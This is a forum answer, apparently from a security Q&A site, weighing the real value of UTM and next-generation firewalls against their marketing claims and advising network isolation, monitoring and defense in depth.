  user.

source: https://www.commoncriteriaportal.org/files/epfiles/0944b_pdf.pdf


Network UTM firewalls, are they really worth it?

This is not a forum for product recommendation. But to give you some things to look out for:

Phrases and Buzzwords: UTM, NGFW, IPS, IDS, Firewall, Secure gateway... are just words and say nothing about the technology used and of their limitations. And there are lots of limitations: sometimes because of the underlying technology and sometimes to make it faster and cheaper.
Marketing: Everybody claims to be the most secure, the fastest and the cheapest. Often not the best product wins but the one with the best marketing or the lowest price, because normal users can't tell the difference anyway: it's a lemon market.

And what product is best depends on what level of security you need. If you are not dealing with sensitive data it might be enough to protect against ransomware and against malware which integrates your company into a botnet. As soon as you deal with customer data, do interesting research, maybe have connections to government organizations you get more interesting for an attacker because it might be worth to steal data from you or to use you as a trampoline for attacking some more important organization.

Protection against low level DOS is different from protecting users surfing the web. For the first a fast packet filter is needed and for the second you need application level filtering. And it is not only important if the device can do web (or even web 2.0 like lots claim) but how deep they look into the traffic. Simply blacklisting URL's is much easier than actually analyzing the payload but also provides less security. The deeper a device looks into the traffic the more protection it can offer but the slower it will get and the more it will cost. There is no magic sprinkling around this simple fact, even if it is called "next generation firewall" or "unified threat management", "cloud security"...

No NGFW, UTM, whatever will fully protect the network. Thus you need to use isolation between different parts of the network to limit the impact of malware. Do not simply let mobile devices into the critical production network, because you don't know how infected they are. Simply think how you would behave if you know that somebody visiting you might have an infectious disease.

The more you know about your network the better you can protect it, because you can restrict it to what it should do in your opinion and detect any violations. Security is not simply installing some device and forget it, but monitor what's going on in your network, adjust the rules so that they are as tight as possible etc. And you probably must hire somebody to do this for you or outsource the management of the firewall. The best firewall will not help if the person maintaining it has no real understanding of the problems.

Maybe you better don't buy directly from a vendor but go to an independent security company which sells competing products and often also can do the management for you. They will know more about the abilities and limitations of each of the products than a single vendor is willing to tell you. But of course some will simply try to sell you the product where they make the most profit instead the one best suited to your environment.

Sounds hard and expensive? It is. You only know that it might have been smarter to invest in better security (products and also training) if your data are lost, your identity is compromised and the customers look somewhere else in the hope that somebody can keep their data more secure.

  I have Googled a lot on the effectiveness of UTMs, but I can't seem to find neutral write-ups, ...

There is no general effectiveness of UTM, because UTM differ a lot both in features and quality. Today you will not find much products which don't claim to be either a UTM or NGFW (or even both) even though they don't differ that much from the previous firewall, IPS or secure gateway products of the same company. Technologically you will often find at the lower end simple packet filters (like Linux iptables) with maybe some IDS (like Snort) and maybe some proxies (like Squid) with added Antivirus and blacklists but there are also more advanced solutions. They differ a lot between the quality of AV which range from open source ClamAV to commercial products of different quality. Same is true for the quality of blacklists, IDS signatures and how fast the vendor responds to new threats.

Bypassing the components of an UTM is often trivial because in edge cases of the protocols the data are interpreted differently in the UTM and the clients (browser etc) - this is a general problem of perimeter firewalls. Sometimes such bypasses can be done at the packet layer already (see Stonesoft Evader 2013), sometimes at the application layer (see my research 2015) or also at the layer of antivirus analysis as in this research from 2012.

Thus you should not expect too much security from these devices and better implement defense in depth, i.e. use additionally host based antivirus and isolation between networks with different security levels. But in any case most of them will probably be an improvement to what you have now.